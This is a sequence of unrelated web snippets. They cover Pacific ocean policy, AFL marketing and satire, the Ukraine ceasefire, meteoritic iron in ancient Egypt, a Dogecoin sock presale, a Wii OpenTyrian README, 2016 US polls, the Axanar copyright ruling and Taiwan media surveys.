"One: healthy oceans - let's clean up the plastic gyre, let stop dumping garbage," he said.
"Two: restoration of our fish stocks - we can actually achieve that in our lifetime if we're smart about it.
"Three: bring some equity to the current resources being taken from these oceans by others."
It doesn't matter where you live around the world; we are all connected somehow and are impacted by what we do to the oceans Tommy Remengesau Jr, President of Palau
Mr Remengesau says the health of oceans affects countries in a variety of ways, from rising sea levels, to ocean acidification and unpredictable weather.
"It doesn't matter where you live around the world; we are all connected somehow and are impacted by what we do to the oceans and the health of the oceans and the seas.
"And so it is important that the United Nations in the next Millennium Development Goals, really put a stand alone policy on this."
Deputy Secretary-General with the UN, Jan Elliason, has paid tribute to the Pacific and other island countries for raising awareness of the issue.
"They have an acute sense of the dangers of climate change and the level of sea rise - becoming an existential threat for them," he said.
"They are a bit like the canaries in the coal mine, the canaries that warn us that now the oxygen is [running] out...they're the first ones to leave.
"We should listen to those states."
Topics: marine-parks, conservation, illegal-fishing, fish, palau, pacific, asia
In an AFL first, the Bombers in partnership with the Big Freeze, are producing a series of 360 degree video content that will feature across the Club’s website and big screens.
There will also be a special opportunity for fans to be involved during the Comeback March to the ‘G.
“We’re really excited that the Big Freeze has given us the opportunity to use this technology,” Chief Marketing Officer Justin Rodski said.
“We’re going to use it across our website, the big screen on match day and we’re also going to give our fans the opportunity to use it in round one at the start of our march to the ‘G.
“We’ll have the Comeback Story imaging and we’ll get as many fans through it as we can.
“It is really exciting technology and we’re rapt and really proud to be part of it.”
The Big Freeze uses multiple cameras to capture an image that can be viewed in every direction.
Those images can then be shared on social media.
“It’s all about action and in our world it’s about instant gratification,” Big Freeze Executive Producer Robert Latorre said.
“Everyone wants to tell everyone what they’re doing at that moment … this is the ultimate ‘selfie’.
“This is the 360 degree ‘selfie’ that everyone gets to share virally.
“It goes directly to your email and once it’s on your email it can go to social media and all that happens in seconds.
“The AFL is a prime candidate for this because they have a hug fan base, it’s a growing sport, it has got a lot of energy and it’s about contact and action and this is built for contact and action.”
Essendon stars Michael Hurley, Brendon Goddard, Tom Bellchambers and David Myers sampled the technology today.
“We’re the first AFL Club that has been able to do it, so that’s fantastic,” Hurley said.
“We’ve had a bit of a kick, did some slow-motion stuff and it has been a lot of fun.
At the ship’s “Bionic Bar,” the machines dubbed P1L and N1C—reportedly one male and one female bot—can craft drinks from more than 30 spirits, juices and ingredients, say the bar’s designers. Other techno wizardry aboard the world’s first smartship include a skydiving simulator and dancing “Roboscreens” in the Two70 performance venue.
Ethan Meldrum Blocked Unblock Follow Following Jun 16, 2017
GWS star Josh Kelly has elected to remain at the Giants in 2018, according to sources close to the club.
Kelly made the decision about ten minutes into North Melbourne’s clash with St Kilda on Friday night.
According to sources in his management, the low-scoring clash was reportedly seen as a sales pitch, which swiftly fell on its arse due to the generally awful standard of football.
It is a big blow to both clubs, who have both chased the 22-year-old extremely hard this year.
A GWS club source confirmed the news.
“Kelly called up his manager pretty quick on Friday night while watching that game,” they said.
“He could barely sit through ten minutes, let alone nine years.”
Separatist rebels escort Ukrainian prisoners of war loaded on a truck before an prisoner exchange. (Photo: Andrei Leble, European Pressphoto Agency)
Ukraine plans to begin pulling back heavy weaponry from the front lines of eastern Ukraine on Sunday, a military spokesman said.
The spokesman, Col. Andriy Lysenko, told a briefing that the withdrawal was to begin, but did not give further details.
Meanwhile, two people were killed and about a dozen injured in a bomb explosion at a march Sunday in the eastern city of Kharkiv — Ukraine's second-largest city — that was commemorating the first anniversary of the removal from power of president Viktor Yanukovych, the country's interior ministry said.
The Ukrainian parliament voted Feb. 22, 2014, to remove the Russia-friendly president, following months of increasingly violent protests in the capital, Kiev.
The Interior Ministry said the blast was due to an "unknown explosive device" and was considered a terrorist act.
A spokesman for the national security service, Markian Lubkivskiy, said four suspects were arrested for the explosion and for planning other attacks. He said the suspects were detained while carrying a portable rocket launcher in their automobile, and they appeared to acting under instructions from Russia.
"We can clearly see that the launcher was received from the (Russian city of) Belgorod. Instructions were received from the Russian Federation," he said in broadcast remarks.
Lubkivskiy did not specify if he was accusing private individuals in Russia or the government in Moscow.
The move to pull back weapons is in accordance with an agreement brokered Feb. 12 in Minsk, Belarus, whose initial step was a cease-fire between government forces and Russia-backed separatists, coming into effect Feb. 15. But fighting has continued.
Rebel spokesman Eduard Basurin said the pullback from both sides is to take place between Sunday and March 7, but he did not specify whether rebels had made any moves yet. There was no immediate confirmation that the withdrawal had begun.
Both sides are to pull back their big guns and rockets from 15 to 43 miles away from the conflict line — depending on the weapons' size — creating a buffer zone of 31 to 87 miles.
The agreement also calls for a full exchange of prisoners. Late Saturday, 139 Ukrainian soldiers and 52 rebels were exchanged but it remains unclear how many captives are on each side and when other swaps might take place.
The Reuters news agency said its reporters saw more than 130 Ukrainian servicemen being released in the village of Zholobok, 12 miles west of the separatist stronghold of Luhansk, late Saturday.
Ukraine said Russia-backed separatists violated the cease-fire a dozen times during the night with artillery and rocket attacks and an attempt to storm a Ukrainian encampment. Lysenko said one serviceman was killed and three wounded over the past day.
Among the attacks reported by the Ukrainian military was an attempt to storm positions in the village of Shyrokyne near the port city of Mariupol. That city remains of strategic concern to Ukraine because rebel seizure of it could help establish a land corridor between mainland Russia and the Russia-annexed Crimean peninsula.
Contributing: Associated Press. USA TODAY editorial partner GlobalPost is launching a Kickstarter campaign to expand its coverage of the world's war zones. To see more or contribute, click here.
We should also remind everyone that Microsoft will own the Lumia brand, so perhaps this apparent last minute decision was made in conjunction with their future owners. The numbering is also seemingly arbitrary, starting with ‘2520’ though it seems to parallel the Lumia 1520, which is due to be announced at the same time.
The 5,000-year-old iron bead might not look like much, but it hides a spectacular past: researchers have found that the ancient Egyptian trinket is made from a meteorite. The result, published on 20 May in the journal Meteoritics & Planetary Science, explains how ancient Egyptians obtained iron millennia before the earliest evidence of iron smelting in the region, solving an enduring mystery. It also hints that the ancient Egyptians regarded meteorites highly as they began to develop their religion. …Researchers have discovered only a handful of ancient Egyptian iron artefacts made before the sixth century BC, when the first evidence for iron smelting in ancient Egypt appears in the archaeological record. All come from high status graves such as that of King Tutankhamun. “Iron was very strongly associated with royalty and power,” says Johnson. Objects made of such divine material were believed to guarantee their deceased owner priority passage into the afterlife. Campbell Price, a curator of Egypt and Sudan at the Manchester Museum who was not a member of the study team, emphasizes that nothing is known for certain about the Egyptians’ religious beliefs before the advent of writing. But he points out that later on, during the time of the Pharaohs, the gods were believed to have bones made of iron. Perhaps meteorites originally inspired this belief, he speculates, with these celestial rocks interpreted as the physical remains of gods falling to Earth.
Robert Bauval and Adrian Gilbert wrote about the veneration and use of iron meteorites by the ancient Egyptians in their 1994 book The Orion Mystery – though as they point out in the book, the fact that meteorites played a role in the formation of religious ideas has been known to Egyptologists since 1933, based on the work of British Egyptologist G. A. Wainwright. In The Orion Mystery, Bauval and Gilbert note that “the Ancient Egyptian name for iron was bja…[and] bja is mentioned repeatedly in the Pyramid Texts in connection with the ‘bones’ of the star kings.” For instance, in PT1454 we find the passage “My bones are iron (bja) and my limbs are the imperishable stars.”
As these passages show, there was a belief that when the departed kings became stars, their bones became iron, the heavenly material (meteorites) of which the star gods were made. Such cosmic iron objects were the only material evidence of a tangible land in the
sky populated by star souls, and it was easy to see why the stars were thought to be made from bja. Since the souls of departed kings were the stars, they too had bones made of iron.
Bauval and Gilbert also note a number of other similar examples of meteorites being venerated across various cultures:
There is evidence of religious cults based on the veneration of sacred meteorites in the ancient world. It is well known that the Greeks regarded Delphi as the ‘navel’ of the world. However, the omphalos stone which marked the spot was not the original fetish of Delphi. There was originally a rough stone, believed to have been cast down to earth by the titan Kronos. The Delphians believed their stone to be the one cast down by Kronos and called it Zeus Baetylos, a term usually taken to mean meteorite by historians. Extant drawings show the Zeus Baetylos as ovoid in shape, and about the size of a cannonball. In view of its cosmic origins and characteristic shape, the Zeus Baetylos was almost certainly a meteorite. A similar stone was shown to the historian Pausanias (second century AD) at the town of Gythium, which the locals called Zeus-Kappotas (Zeus fallen down). This was probably also a meteorite. Pliny (AD23-79) also reported that a ‘stone which fell from the sun’ was worshipped at Potideae and that others had fallen at Aigos-Potamus and at Abydos, near the Hellespont. The cult of meteorites was particularly rife in Phoenicia and Syria. At Emessa (Horns), for example, was the shrine of the god Ela-Gabal or Elagabalus, where a sacred relic was described as ‘a black, conical stone’; the chronicler Herodianus tells us that the Emessians ‘solemnly assert it to have fallen from the sky…’ Not far from Emessa, in the temple of Zeus-Hadad, at Heliopolis-Baalbek, were ‘black conical stones’. Zeus-Casios, a counterpart of Zeus-Hadad, had his abode on Mount Casios and also had a baetylos sacred to him. In ancient Phrygia (central Turkey) the Great Mother of the Gods, Cybele, was represented at the temple of Pessinus by a black stone said to have fallen from the sky.22 The Cybele cult was particularly widespread and was adopted by the Romans who took it as far as France and England. There are many other examples of meteorite worship in many places of the world. This is quite understandable because ancient man saw the meteorite as the material representation of the sky gods and, perhaps more specifically, the star gods. We surely do not need any further examples to make the point that the Benben Stone kept inside the Temple of the Phoenix may have been a conical meteorite.
I’ve also heard it said that the Black Stone in the Kaaba at Mecca is a meteorite, but I’m not sure of the source on that. A fascinating topic!
Link: Full story by Jo Marchant at Nature, “Iron in Egyptian relics came from space”
Link: The Orion Mystery (Amazon US / Amazon UK)
We at Kimchi HQ felt inspired by the amazing Dogecoin community, and this is why we decided to make the Dogecoin our second cryptocurrency sock after the Bitcoin sock that we carry. So we decided to run a presale deal that has started now and will end on Aug 19, 2017. Before we produce the sock, we are looking to sell at least 1,200 pre-orders at the wholesale price of $5.99 a pair (retail $10.99) and if the Kimchi Team don't reach our goal of 1,200 pairs presold we will refund everyone's money who order. So, your help is needed in spreading the word to your family and friends. These socks could be great gifts as well. ;-) ;-) Just a cool idea.
In keeping in line with the generous heart of the Dogecoin community, we are donating $0.99 from each order we get to #DogecoinSocksForTheHomeless campaign to buy socks and give them to the homeless. BUT! We have to sell at least 1,200 for us to donate.
Thank you for reading and your time. I hope to see your order in my email, and you share this with everyone you know. Talk to you later.
-Jason
Founder & President
A Port of the birds-eye shoot-em-up shooter OpenTyrian to Wii.
About
This is a Wii adaptation of TYRIAN, the game edited by Eclipse and published by Epic MegaGames.The original game was programmed by Jason Emery, illustrated by Daniel Cook, and its music composed by Alexander Brandon and Andras Molnar.
This port is based on OpenTyrian project code, maintained by mindless2112, syntaxglitch,emacs.hacker, yuriks.br.
This README file was based on the README found on Nuvalo's old one.
This port is separate from Nuvalo's port, and has now replaced it (as you can see). It is fully functional and much more stable than the Wii-Linux version.
This is not the version featured in the Homebrew Showcase linked on the main page (unfortunately). But trust me, it is better, and easier to use.
Gameplay
Tyrian is an arcade-style vertical scrolling shooter. The player controls a space ship fitted with different weapons and enhanced energy shields. Money is earned by destroying enemies and grabbing bonuses, which is then used to purchase upgrades such as weapons, shields, energy generators, and different ships from interlevel menus. The game is fast paced and presents a variety of enemies and bosses.
Features
Full Wiimote+Nunchuk, Classic Controller, and USB Keyboard support, 95% GC Pad support.
Wiimote horizontal capable.
2 Player Arcade action.
Full input choice (you can use any Wiimote, classic controller or GC pad, no matter the sync, as well as the keyboard).
SD and SDHC support from the front SD slot.
NEW - Fully configurable and savable button mappings for all controllers (see Custom Button Assignments for help).
Loadable from SD and USB (FAT partitions only).
All difficulties and arcade/engage modes now available. Difficulties in Select Difficulty. Arcade accessed by left/right sidekick simultaneous press in main menu.
Installation
Download the two packages on Google Code (you only need the tyrianFiles zip once. Those won't be updated)
Unzip them directly to the root of your SD card (will work on putting the cfg and sav files in the tyrian folder)
Run using HBC (you can run it with something else, but HBC is the standard now). Installing Homebrew Channel
Controls
Keep in mind that though Wiimote horizontal play is supported, it is not set up by default. The only thing that is enabled by default for horizontal is the Wiimote DPad.
In Menu/In Game
Because custom mapping is enabled now, all you need to know is that whatever button is assigned to "FIRE" in the joystick mapping is also the confirm button, and the "CHANGE FIRE" assignment is the cancel button. The rest should be pretty straightforward and/or intuitive.
Custom Button Assignments
Here's a list of controller button numbers for your customization pleasure.
NOTE: As of 1.5.0, custom button assignment saving has been reenabled! Customize at your leisure!
NOTE: As of 1.6, the joystick configuration menu works now to display button names. Here are the details:
Now displays name of joystick at top instead of number (Joystick 1-4 == Wiimote 1-4, Joystick 5-8 == GC Pad 1-4).
Also displays button names instead of numbers now. AX replaced by JOY (and RJOY for Classic substick and GC Pad C-Stick), BTN i replaced by W-/C-/N- (wiimote, classic, and nunchuk respectively) and name for Wiimotes, and just the names for GC, and H replaced by DPAD. +/- on each axis replaced by physical directions.
Finally, DPAD directions dynamically displayed based on whether Classic is plugged in or not.
In order to make a reassignment, in the Joystick menu, using the "RETURN"/"FIRE" button, select the function you wish to reassign, press the button that is assigned for that controller/expansion, then select the function again and press the button you wish to use. Defaults currently only set the Wiimote buttons by itself, and are really not set properly. However, it's possible to make button assignments with just the Wiimote, or in any combination of controllers and extensions.
Known Issues
Network status unknown.
GC pad joystick does not work (buttons and D-pad do).
In Save menu, when using the keyboard, cannot type save names, Enter does not "RETURN" and confirm the save. Use Wiimote A button or Classic Controller b button (defaults).
Sometimes, loading a game right after you die (especially on some bonus levels) causes a crash. I suggest, for now, starting the next level and quitting that level before loading again for these instances.
If you know of or find anything else, or you think of an improvement you'd like to suggest, please post it on my Google Code issues page.
TODO
Fix GC Joysticks.
In-level cheats menu?
Possibly add in NTFS support for SD and USB.
Changelog
1.7 - 25 February 2010
Impossible, Suicide, and Lord of Game difficulties now available by default in difficulty select menu.
Change in onscreen keyboard startup and shutdown routine. Result is an increase in speed when loading the save/highscore name entry screens.
Rich mode (a.k.a. loot) now accessible through "OpenTyrian" menu option.
Latest changelog now included in meta.xml (for the benefit of the HBB users).
Special Games/Modes menu added. Access by simultaneously pressing left and right sidekick assigned joystick buttons (or F15 on a keyboard, if you have one that far up). Includes choices for both Arcade ships (i.e. UNKNOWN, WEIRD, NORTSHIP, etc), as well as the two difficulty settings for ENGAGE (suicide and LOG). Will eventually include Destruct mode (2D tanks game), but since it's not rigged to work with joysticks at the moment, it's useless on the Wii.
1.6 - 19 February 2010
USB support added for loading and saving OpenTyrian data files (make sure all files in /popkey and /tyrian subdirectories are in place; tyrian.sav, tyrian.cfg and joystick.conf are optional).
Several background code optimizations not yet reflecting in game performance.
OSK bugfix: "9" now works on both name input screens.
Bugfix for "Low" detail text display in Pause menu.
Default detail level set to "Pentium"
Wild detail mode enabled in Pause menu detail selection.
Fix for default HAT assignments (used to assign all directions to HAT-left).
Joystick configuration menu completely reworked (details in Joystick Config): Now displays name of joystick at top instead of number. Also displays button names instead of numbers now. Finally, DPAD directions dynamically displayed based on whether Classic is plugged in or not.
1.5.0 - 14 February 2010
Massive core update finally completed. This core update includes many improvements, such as: Joystick configurations now savable. No corruption has yet occurred through dozens of saving/loading cycles. Game is much more stable. Random crashes seem nonexistent. Sound distortions are at an all-time low. Pops/crackles hardly noticeable, if at all.
This core update also includes all previous improvements, such as the on-screen keyboard and menu exclusions/changes to avoid any possible problems resulting from settings incompatible with the Wii.
1.2.0 - 09 June 2009
On screen keyboard is now fully active, and tested working both in the save menu and on the high scores screen! There are actually quite a few symbols that are available through the OSK that aren't available if you're using a USB keyboard, lol. The OSK comes up automatically on both screens.
As a result, the interim name input for both screens has been removed (replaced by the OSK).
1.1.3 - 04 June 2009
All scalers are now set to center vertical output on a 4:3 display (at 320x240 [none] or 640x480 [2x, scale2x]). Widescreen is untested, but is still expected to stretch and have a substantial black bar at the bottom. Good thing is that it's no longer clipped at the top.
Fullscreen scaling has been abandoned, as the most optimized version of the interpolater (that I could optimize it to) takes too much processor time to complete, and is extremely slow on the Wii. Therefore None, 2x and scale2x are now all open again.
Keyboard functionality has been restored to the save game and high scores naming windows. Keyboard input from all alphanumeric characters, plus some symbols, is now supported.
As an interim solution for non-keyboard save/score naming, save and high score name input is enabled for all joysticks and DPads now, as well. Use up/down to change the character, right to advance a space, and left to delete. Unfortunately, high score input is untested, but soon will be, and any bugs will be fixed in the next version.
Finally, did some cleanup in the OpenTyrian menu. Removed Fullscreen option (it froze the game when activated) and removed 3x, scale3x, and 4x from the scaler options (since SDL can't support that size anyway).
1.1.2 - 28 May 2009
All DPads now support bidirectional movement. This makes the GC pad much more viable as a controller to use in OpenTyrianWii.
Fix confirmed for the CC DPad bug. It now only functions as a DPad.
Unconfirmed fix for HBC 1.0.2 and up (I tested it on my Wii with 1.0.3 and it worked).
Because of a bug in the joystick saving function, I have temporarily disabled it. Details in Controls.
As a note, turning the volume down on the sfx seems to diminish the popping in the audio, but only slightly. Still looking into a proper resampling.
Also, don't change the scaler to anything but scale2x. 2x is now a testing ground for the 640x480 upscale, and is unstable.
1.1.1 - 26 May 2009
All DPads are now functional. Wiimote DPad is configured for horizontal gameplay, CC and GC DPads are configured traditionally. However, the CC DPad left seems to act as an escape key. Fix to come later.
1.1.0 - 26 May 2009
Fixed sound bug from exit exception fix.
Fixed joystick configuration. Wiimote+nunchuk and Classic Controller are now fully configurable!!! Details in Controls.
Disabled mouse support (until SDL Wii is fixed with a solution for Wiimote dual functioning as mouse and joystick).
All userdata moved to tyrian/userdata. For those with versions earlier than 1.1.0, just move your tyrian.cfg and tyrian.sav files to tyrian/userdata. The next time you exit, joystick.cfg will show up there as well.
Button crashes are not confirmed to be fixed, but so far, I have not had any problems since I disabled the mouse functionality.
Whatever you do, do not use the GameCube pad yet. It will override (for some reason) the wiimote functionality, and as the GC pad joystick is not functioning yet, you can't navigate or change anything. I will work on a fix for this later.
1.0.1 - 25 May 2009
Fixed exception screen on title menu exit selection.
1.0 - 25 May 2009
Initial release.
Supports game saves natively.
Full audio support (music synthesized at 32khz, sfx resampled to 33075). Sfx will pop, music by itself will not.
Wiimote/Nunchuk support through SDL Wii's joystick functionality.
Video's
Video removed by Youtube.*
A new Ballotpedia battleground poll shows Clinton leading across the board in Florida (51 percent to 37 percent), Iowa (45 percent to 41 percent), Michigan (50 percent to 33 percent), North Carolina (48 percent to 38 percent), Ohio (46 percent to 37 percent), Pennsylvania (49 percent to 35 percent) and Virginia (45 percent to 38 percent).
Each of the states is viewed as critical to the aspirations of both candidates, and territories were both parties strive to remain competitive seemingly at all cost.
Hundreds Polled in Each State
Roughly 600 voters in each state were polled for the survey over a 12-day period commencing on June 10. Each survey has a margin of error of plus or minus four points.
A recent Quinnipiac University poll also offered encouraging news for Clinton, with the former first lady leading by eight points in Florida, while up a point in Pennsylvania and running even in Ohio.
Overall, Clinton tops Trump 42 percent to 40 percent in the Quinnipiac poll and is up on him 39 percent to 37 percent when third party Libertarian candidate Gary Johnson (8 percent of vote) and Green Party nominee Jill Stein (4 percent) are factored in.
Recent polls conducted by the Washington Post/ABC News and NBC News /Wall Street Journal show Clinton holding significantly larger leads over Trump, who continues to struggle mightily among Latino voters.
Trump's Latino Support Nearly Nonexistent
A recent Washington Post/ABC News poll found nine out of every 10 Hispanic voters has a negative image of the New York City real estate mogul.
With all that, some GOP delegates continue to spark talk of replacing the political neophyte with another more established and polished candidate.
The band have also provided us with a Track-by-Track guide to the EP, discussing their intentions and aims:
"Our debut EP Enter_ is a vibrational state in which we abide among our absolute love for music and our contradictory need for self-identification as a way to reconcile both.
1. Everything From Above
Is our first song. It's initial form came somewhere in December 2012. Its meaning lays out the silent space in which our following geometries develop. And we kind of feel that its fractal pattern is present throughout the EP.
2. Disappearance
Appeared in a splash of energy. A lot of information needing to come out. And so it is in concerts: an explosion.
3. Collide
Took form in total collision. Inner and outer. It is very much about duality and the harmonizing force within.
4. Sudden Acts
Is about acting, about fear and the sudden calmness of being here and now. And yes, it all resembles a metaphoric death.
5. Dimension Dive
Was made in 3 hours. From foolin' around with the guitar, to writing the lyrics, to recording the voice and giving it a soul, it all had an amazing momentum. Because of its exotic, totally different approach,
we consider it a bonus track.
Elder D. Todd Christofferson speaks to a group of about 300 Latin journalists participating in the 73rd Annual Assembly of the Inter American Press Association (IAPA) at the Conference Center Theater in Salt Lake City, Saturday, October 28, 2017. © 2017 by Intellectual Reserve, Inc. All rights reserved.2 / 8 Elder D. Todd Christofferson of the Quorum of the Twelve Apostles greets Luis Almagro, the Secretary General of the OAS (Organization of American States) for the 73rd Annual Assembly of the Inter American Press Association (IAPA) at the Conference Center Theater in Salt Lake City, Saturday, October 28, 2017. © 2017 by Intellectual Reserve, Inc. All rights reserved.3 / 8 Elder D. Todd Christofferson speaks to a group of about 300 Latin journalists participating in the 73rd Annual Assembly of the Inter American Press Association (IAPA) at the Conference Center Theater in Salt Lake City, Saturday, October 28, 2017. © 2017 by Intellectual Reserve, Inc. All rights reserved.4 / 8 A group of about 300 Latin journalists enjoys dinner prior to hearing Elder D. Todd Christofferson speak to the 73rd Annual Assembly of the Inter American Press Association (IAPA) at the Conference Center Theater in Salt Lake City, Saturday, October 28, 2017. © 2017 by Intellectual Reserve, Inc. All rights reserved.5 / 8 Elder D. Todd Christofferson mingles with guests prior to his speech to a group of about 300 Latin journalists participating in the 73rd Annual Assembly of the Inter American Press Association (IAPA) at the Conference Center Theater in Salt Lake City, Saturday, October 28, 2017. © 2017 by Intellectual Reserve, Inc. All rights reserved.6 / 8 Elder D. Todd Christofferson and his wife, Kathy, mingle with guests prior to his speech to a group of about 300 Latin journalists participating in the 73rd Annual Assembly of the Inter American Press Association (IAPA) at the Conference Center Theater in Salt Lake City, Saturday, October 28, 2017. © 2017 by Intellectual Reserve, Inc. All rights reserved.7 / 8 Elder D. Todd Christofferson mingles with guests, including Luis Almagro, the Secretary General of the OAS (Organization of American States), prior to his speech to a group of about 300 Latin journalists participating in the 73rd Annual Assembly of the Inter American Press Association (IAPA) at the Conference Center Theater in Salt Lake City, Saturday, October 28, 2017. © 2017 by Intellectual Reserve, Inc. All rights reserved.8 / 8 Download Photos
Downloadable video without English captions
“We applaud the efforts of IAPA to defend and promote freedom of press and expression throughout the Americas,” said Elder Christofferson in his remarks to the media gathered Saturday night, October 28, 2017, at the Conference Center Theater on Temple Square in Salt Lake City. “So many of the blessings of life and the prosperity of society rest on these freedoms.”
Elder Christofferson delivered the speech in Spanish (see the Spanish and English transcripts), a language he first learned as a 19-year-old Mormon missionary serving in Argentina. “There is a special place in my heart for the people of Mexico and Central and South America.” He later lived in Mexico City with his family while directing Church operations in Mexico.
“Not everything that comes from our pens or our mouths will be useful, but when freedom is discouraged nothing good will come out of them either. To get the sublime, sometimes we have to put up with a little of the ridiculous,” expressed Elder Christofferson.
The Mormon apostle said the United Nations’ Universal Declaration of Human Rights and the Declaration of Chapultepec “provide a common framework by which we can construct fair and open societies.”
Elder Christofferson told the journalists, “Your privilege and calling as a journalist is to facilitate discussion and debate between people who have different beliefs, races, nationalities and political opinions.”
The senior Church leader spoke briefly about religious freedom, which he and other apostles have addressed in public forums over the past few years. He said that it “acts as a catalyst” in protecting other human rights.
Elder Christofferson said “voices of faith” such as Martin Luther King Jr., a pastor who advocated for racial and civil justice, can “elevate public discussions.” Other leaders he mentioned included William Wilberforce, who applied Christian ethics to abolish the slave trade in Great Britain; Abraham Lincoln, who used the Bible to heal a divided United States; and Mahatma Gandhi, who led India to independence by employing nonviolent civil disobedience.
“We honor your efforts to give voice to the voiceless, to shine light on the difficulties of our world, and to bestow dignity on the human experience,” he concluded. “May God bless you and protect you as you go forward as ambassadors of freedom and human rights.”
Paramount Pictures and CBS have scored major successes in their copyright lawsuit over Axanar, a 20-minute YouTube video and a proposed feature-length version touted as a professional-quality Star Trek fan film. But a California federal judge on Wednesday stopped short of declaring the Star Trek rights holders the victors in the closely followed case, reserving for a jury the key question of whether the works would be seen by lay people as substantially similar to older Star Trek films and TV shows.
The lawsuit was filed almost exactly a year ago after Alec Peters' Axanar Productions aimed to raise more than $1 million on Kickstarter for a prequel to the 1960s Gene Roddenberry series. Peters' work focused on Garth of Izar, an obscure character who appeared in a 1969 episode. Scripts were prepared for a film to be set around the Four Years War between the United Federation of Planets and the Klingon Empire.
Last May, the case survived a motion to dismiss and began drawing attention to whether Paramount and CBS could take ownership of everything from "pointy ears" to the Klingon language, especially in light of many fan-made works that have been permitted through the years without controversy. Despite some hopes expressed by Star Trek Beyond director Justin Lin that all this would go away, Paramount and CBS marched forward, and the parties each delivered summary judgment motions.
On Wednesday, U.S. District Court Judge R. Gary Klausner released his much-anticipated opinion (read in full here).
"With respect to the first core issue, the Court finds that the Axanar Works have objective substantial similarity to the Star Trek Copyrighted Works," he writes.
Klausner rules that the character of Garth is entitled to copyright protection, has well-delineated physical and conceptual qualities, and contrary to defendants' arguments, isn't obscure. He notes the appearance in Axanar of Klingons and Vulcans as well as the use of other copyrighted elements like a Klingon officer's uniform from the 1991 motion picture Star Trek VI — the Undiscovered Country. He also points to the fan film including settings from Star Trek copyrighted works such as planets Axanar, Qo'noS and Vulcan.
"Under the extrinsic test, the Axanar Works are substantially similar to the Star Trek Copyrighted Works," writes Klausner. "This conclusion finds strong support in Defendants’ intent for the Axanar Works. 'Defendants expressly set out to create an authentic and independent Star Trek film that [stayed] true to Star Trek canon down to excruciating details.'"
But that doesn't end the dispute, because under the second part of the copyright analysis, the so-called intrinsic test that asks whether an ordinary, reasonable person would find the total concept and feel of the works to be substantially similar, the judge finds that a jury will best answer this. Thus, he denies the summary judgment motion made by CBS and Paramount.
When it does go to trial (assuming no settlement), the defendants won't be able to lean on fair use as a defense. Judge Klausner takes a look at all four factors that comprise fair use of copyrighted material and decides they weigh in favor of the plaintiffs.
To the purpose and character of the use, the judge writes that Axanar attempts to "stay faithful" to the Star Trek canon with nary any criticism, seemingly shrugging off defendants' arguments of staging a "mockumentary."
To the nature of the copyrighted work, the judge writes that after 13 Star Trek motion pictures and six television series, these types of works "are given broad copyright protections."
Klausner also writes that the elements from Star Trek being used are qualitatively important "because they give the Axanar Works the Star Trek feel and enable Defendants to stay true to the Star Trek canon," and to the last factor of the effect of the use on the potential market, the judge notes, "The fact that Defendants distributed Prelude and the Vulcan Scene for free online and intend to likewise distribute their future works may likely increase the risk of market substitution as fans choose free content over paid features."
The judge adds, "Defendants further argue that the Axanar Works, through their promotional value, actually increase the sale and visibility of the Star Trek Copyrighted Works. But 'the boon to the [latter] does not make [Defendants’] copying fair.'”
"The Court thus finds that all four fair use factors weigh in favor of Plaintiffs," sums up the judge in denying the defendants' bid for summary judgment. "If the jury does not find subjective substantial similarity, Defendants did not infringe and fair use defense is moot. If the jury finds subjective substantial similarity, the Axanar Works are rightfully considered derivative works of the Star Trek Copyrighted Works. Rejection of Defendants’ fair use defense is consistent with copyright’s very purpose because derivatives are 'an important economic incentive to the creation of originals.'”
Klausner also leans toward finding Peters liable for contributory and vicarious infringement depending on what the jury decides on intrinsic similarity. However, the judge won't grant declaratory and injunctive relief at this time until the jury has a chance to put forward its own verdict. A trial could happen sooner rather than later as the parties have already submitted evidence lists, questions to sort prospective jurors and other preparation needed for one to occur.
These data are from Taiwan Elections and Democratization Study surveys (after 2001) and Election Study Center surveys (before 2000). I only report the results from the quadrennial presidential face-to-face surveys. (1992 was a legislative survey; the 2016 face to face survey data has not yet been released so there is only data on one of the questions from a pre-election telephone survey.) There are two questions that have been asked with relatively few changes in question wording, though the answer response categories have changed quite a bit.
Which newspaper do you read most often?
Which TV station do you watch most often for the news?
Here are the results:
The newspapers are relatively simple. There has been a long and steady decline for the two old authoritarian-era mainstays. I don’t have data for 2016 yet, but my impression is that the United Daily News has steadied itself while the China Times has continued to lose market share (and credibility). The Liberty Times broke through the old duopoly in the mid-1990s and has consistently outsold the two old papers. Nowadays, it has as many readers as the CT and UDN combined. Apple Daily burst on the scene early in the Chen Shui-bian era, and it quickly outstripped the others in terms of circulation. However, its political impact is not quite as large as its circulation. As a pseudo-tabloid, it simply isn’t the place for serious discussion of society’s great questions that the other three majors aspire to be. Finally, there is the black line representing all the other papers. When I first started reading newspapers in the mid-1990s, I had about ten choices every time I went to the newsstand. 首都早報 was gone by then, but we still had 自立早報，民眾日報，台灣時報，中華日報，台灣日報，中央日報，台灣新聞報 in the morning as well as three evening papers 聯合晚報，中時晚報，自立晚報 two financial papers 經濟日報，工商時報 and two tabloid/entertainment papers 民生報，大成報。Only two of the papers in that list (聯合晚報，經濟日報) are still publishing a daily print edition. (Every now and then, I see something called 民眾日報 or 台灣時報 and get really excited, but these are more ad inserts than real newspapers.) It was the golden age of newspapers in Taiwan — martial law had ended and the internet had yet to begin destroying print media. The black line probably underestimates the fragmentation of the media market since respondents could only give one answer. Many of the people who read one of the three major papers also read a smaller one. At any rate, these smaller papers have largely disappeared from the scene. These days, new startups such as Storm.mg go straight to the internet.
To sum up, the newspaper market has undergone massive changes since the early 1990s. The United Daily News is arguably the only constant.
Compared to the TV market though, the newspaper market has been a paragon of stability. There is not a single TV station that is recognizable from 1992. When I came to Taiwan in 1989, there were exactly three TV news sources. All of them had the same political stance. TTV was owned by the provincial government; CTV was owned by the KMT; and CTS was run by the military. Cable TV had existed for over a decade at that point, though it was technically illegal and it certainly did not do anything as daring as produce a news program. In the early 1990s, some of the local cable companies started airing local political talk shows, which quickly became labeled as “democracy TV stations” 民主電台. However, these had a very limited reach. Real change came with the establishment of TVBS, the first national station to present the news without an overt-KMT slant. A few years later, several DPP politicians banded together to start the fourth terrestrial station, FTV. By the early 2000s, several other channels had set up 24 hour news channels. In the face of this intense competition, the old three stations’ grip on the news collapsed. These days, they are all minor players. (CTV, the most resilient of the three, was bought by the Want Want group which also owns cti and the China Times. In other words, CTV isn’t even the most influential media organ or even TV station in that conglomerate.)
